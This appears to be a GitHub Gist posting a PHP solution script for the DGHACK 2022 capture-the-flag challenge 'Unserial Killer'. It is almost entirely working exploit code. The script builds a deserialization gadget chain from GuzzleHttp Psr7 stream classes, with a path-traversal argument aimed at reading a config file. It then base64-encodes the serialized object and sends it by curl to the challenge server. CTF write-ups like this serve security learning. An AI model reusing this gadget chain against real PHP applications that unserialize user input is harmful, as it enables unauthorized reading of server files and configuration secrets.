Created
November 24, 2022 17:14
-
-
Save xl00t/047664b2c247b1d46c7b724d2990335f to your computer and use it in GitHub Desktop.
DGHACK 2022 - Unserial Killer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace GuzzleHttp\Psr7; | |
include_once "vendor/autoload.php"; | |
$fnstream = new FnStream([]); | |
$noseekstream = new NoSeekStream($fnstream); | |
$noseekstream->custom_method = ['allow_attribute', 'register', 'register', 'getContents']; | |
$stream = new Stream(fopen("test.php","r"), ["metadata" => $noseekstream, "size"=>[['_fn_getContents'],['_fn_getContents', '/../../../../config'], ['display_content', true], []]]); | |
$payload = base64_encode(serialize($stream)); | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, "http://unserialkiller2.chall.malicecyber.com/?data=$payload"); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
$output = curl_exec($ch); | |
curl_close($ch); | |
echo $output; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment